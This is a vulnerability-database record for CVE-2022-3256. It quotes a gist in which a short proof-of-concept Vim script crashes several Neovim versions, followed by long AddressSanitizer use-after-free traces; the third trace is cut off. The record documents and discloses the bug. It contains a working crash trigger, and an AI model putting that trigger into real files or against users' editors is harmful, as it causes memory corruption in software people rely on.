{"uuid": "87c8f623-e7d9-4469-9a7b-3367cd0bd436", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3256", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/fb428818c3a653d81343e55bd254518d", "content": "Command:\n./nvim-0.7.2 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: n00\n\nline 1: unlet! b:keymap_name\n\nline 2: e0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nline 2: unlet! b:keymap_name\n\nline 3: sa|no0 ^O^O\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nline 3: no0 ^O^O\n\nline 4: au BufEnter 0 al\n\nline 5: sil0norm0\n=================================================================\n==53949==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000004118 at pc 0x0000004d9b0a bp 0x7ffc3d0ca650 sp 0x7ffc3d0c9e18\nREAD of size 16 at 0x626000004118 thread T0\n    #0 0x4d9b09 in __asan_memcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x4d9b09)\n    #1 0xb70f0b in movemark /home/zzw/Desktop/neovim/build/../src/nvim/mark.c:274:37\n    #2 0xc6cd87 in nv_pcmark /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5873:13\n    #3 0xc6dda6 in nv_ctrlo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4165:5\n    #4 0xc6b391 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #5 0xc67ca6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7637:9\n    #6 0x96cac0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8748:5\n    #7 0x96c806 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8731:3\n    #8 0x9852fa in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8663:7\n    #9 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #10 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #11 0x92ab1f in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #12 0x928292 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #13 0x928310 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #14 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #15 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #16 0x939fa3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #17 0xb2567e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1848:5\n    #18 0xb1aefb in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:522:5\n    #19 0x7f03ea4d1082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x461f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x461f7d)\n\n0x626000004118 is located 4120 bytes inside of 10904-byte region [0x626000003100,0x626000005b98)\nfreed by thread T0 here:\n    #0 0x4da43d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x4da43d)\n    #1 0xbdd894 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0x68e5ce in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1901:7\n    #3 0x69194a in apply_autocmds_retval /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1555:18\n    #4 0x8f5086 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2779:7\n    #5 0x8f1ca4 in getfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2264:14\n    #6 0x6aeaa5 in buflist_getfile /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2015:7\n    #7 0xb70ea2 in movemark /home/zzw/Desktop/neovim/build/../src/nvim/mark.c:269:11\n    #8 0xc6cd87 in nv_pcmark /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5873:13\n    #9 0xc6dda6 in nv_ctrlo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4165:5\n    #10 0xc6b391 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #11 0xc67ca6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7637:9\n    #12 0x96cac0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8748:5\n    #13 0x96c806 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8731:3\n    #14 0x9852fa in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8663:7\n    #15 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #16 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #17 0x92ab1f in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #18 0x928292 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #19 0x928310 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #20 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #21 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #22 0x939fa3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #23 0xb2567e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1848:5\n    #24 0xb1aefb in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:522:5\n    #25 0x7f03ea4d1082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4da832 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x4da832)\n    #1 0xbdd92e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n    #2 0x1167f39 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:5000:19\n    #3 0x1175751 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1250:12\n    #4 0x115f0f0 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1000:10\n    #5 0x9213ad in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1136:11\n    #6 0x921f8e in ex_argument /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1113:3\n    #7 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #8 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #9 0x92ab1f in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #10 0x928292 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #11 0x928310 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #12 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #13 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #14 0x939fa3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #15 0xb2567e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1848:5\n    #16 0xb1aefb in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:522:5\n    #17 0x7f03ea4d1082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x4d9b09) in __asan_memcpy\nShadow bytes around the buggy address:\n  0x0c4c7fff87d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff87e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff87f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8800: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8810: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4c7fff8820: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8830: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8840: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8850: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8860: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8870: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==53949==ABORTING\n\n\n\nCommand:\n./nvim-0.5.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd!\n\nExecuting: autocmd BufReadCmd term://* nested :if !exists('b:term_title')|call termopen( matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: n00\n\nline 1: unlet! b:keymap_name\n\nline 2: e0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nline 2: unlet! b:keymap_name\n\nline 3: sa|no0 ^O^O\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nline 3: no0 ^O^O\n\nline 4: au BufEnter 0 al\n\nline 5: sil0norm0\n=================================================================\n==53896==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000003fd8 at pc 0x0000004d5a1a bp 0x7fff67b01440 sp 0x7fff67b00c08\nREAD of size 16 at 0x626000003fd8 thread T0\n    #0 0x4d5a19 in __asan_memcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d5a19)\n    #1 0xad3aab in movemark /home/zzw/Desktop/neovim/build/../src/nvim/mark.c:266:37\n    #2 0xbcf1ce in nv_pcmark /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6395:13\n    #3 0xbd0181 in nv_ctrlo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4767:5\n    #4 0xbcd80b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n    #5 0xbca1f6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8164:9\n    #6 0x8ff380 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8513:5\n    #7 0x8ff0c6 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8496:3\n    #8 0x918a3a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8424:7\n    #9 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #10 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #11 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #12 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #13 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #14 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #15 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #16 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #17 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #18 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #19 0x7f961b413082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x45de8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x45de8d)\n\n0x626000003fd8 is located 3800 bytes inside of 10584-byte region [0x626000003100,0x626000005a58)\nfreed by thread T0 here:\n    #0 0x4d634d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d634d)\n    #1 0xb321c4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:3\n    #2 0x648de5 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1689:7\n    #3 0x64bdaa in apply_autocmds_retval /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1327:18\n    #4 0x884eec in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2701:7\n    #5 0x881b90 in getfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2197:14\n    #6 0x6644d2 in buflist_getfile /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2073:7\n    #7 0xad3a42 in movemark /home/zzw/Desktop/neovim/build/../src/nvim/mark.c:262:11\n    #8 0xbcf1ce in nv_pcmark /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6395:13\n    #9 0xbd0181 in nv_ctrlo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4767:5\n    #10 0xbcd80b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n    #11 0xbca1f6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8164:9\n    #12 0x8ff380 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8513:5\n    #13 0x8ff0c6 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8496:3\n    #14 0x918a3a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8424:7\n    #15 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #16 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #17 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #18 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #19 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #20 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #21 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #22 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #23 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #24 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #25 0x7f961b413082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4d6742 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d6742)\n    #1 0xb3225e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:135:15\n    #2 0x1080d74 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4550:19\n    #3 0x108d4af in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1133:12\n    #4 0x1078216 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:891:10\n    #5 0x8b7b4d in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1983:11\n    #6 0x8b872e in ex_argument /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1960:3\n    #7 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #8 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #9 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #10 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #11 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #12 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #13 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #14 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #15 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #16 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #17 0x7f961b413082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d5a19) in __asan_memcpy\nShadow bytes around the buggy address:\n  0x0c4c7fff87a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff87b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff87c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff87d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff87e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4c7fff87f0: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd\n  0x0c4c7fff8800: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8810: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8820: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8830: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8840: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==53896==ABORTING\n\n\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: n00\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\n\"00\" [New File]\nline 1: unlet! b:keymap_name\n\nline 2: e0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\n\"0\" [New File]\nline 2: unlet! b:keymap_name\n\nline 3: sa|no0 ^O^O\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3256)\n\"00\" [New File]\nline 3: no0 ^O^O\n\nline 4: au BufEnter 0 al\n\nline 5: sil0norm0\n=================================================================\n==53790==ERROR: AddressSanitizer: heap-use-after-free on address 0x6250000083a0 at pc 0x0000004c68ea bp 0x7ffef55fb8b0 sp 0x7ffef55fb078\nREAD of size 16 at 0x6250000083a0 thread T0\n    #0 0x4c68e9 in __asan_memcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c68e9)\n    #1 0x999234 in movemark /home/zzw/Desktop/neovim/build/../src/nvim/mark.c:254:37\n    #2 0xa7679b in nv_pcmark /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6300:13\n    #3 0xa77381 in nv_ctrlo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4633:5\n    #4 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n    #5 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #6 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #7 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #8 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #9 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #10 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #11 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #12 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #13 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #14 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #15 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #16 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #17 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #18 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #19 0x7fd3b8c82082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x6250000083a0 is located 2720 bytes inside of 8672-byte region [0x625000007900,0x625000009ae0)\nfreed by thread T0 here:\n    #0 0x4c721d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c721d)\n    #1 0x9db384 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:133:3\n    #2 0x8cb94e in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:6978:7\n    #3 0x8cc44a in apply_autocmds_retval /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:6618:18\n    #4 0x79d21a in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2529:7\n    #5 0x79a423 in getfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2060:14\n    #6 0x5c9d83 in buflist_getfile /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1905:7\n    #7 0x9991cb in movemark /home/zzw/Desktop/neovim/build/../src/nvim/mark.c:250:11\n    #8 0xa7679b in nv_pcmark /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6300:13\n    #9 0xa77381 in nv_ctrlo /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4633:5\n    #10 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n    #11 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #12 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #13 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #14 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #15 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #16 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #17 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #18 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #19 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #20 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #21 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #22 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #23 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #24 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #25 0x7fd3b8c82082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4c7612 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c7612)\n    #1 0x9db41e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:147:15\n    #2 0xea8240 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3824:19\n    #3 0xea4931 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:775:12\n    #4 0xe9be66 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:543:10\n    #5 0x7d0d2d in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1855:11\n    #6 0x7d18fe in ex_argument /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1832:3\n    #7 0x7f7008 in do_one_cmd 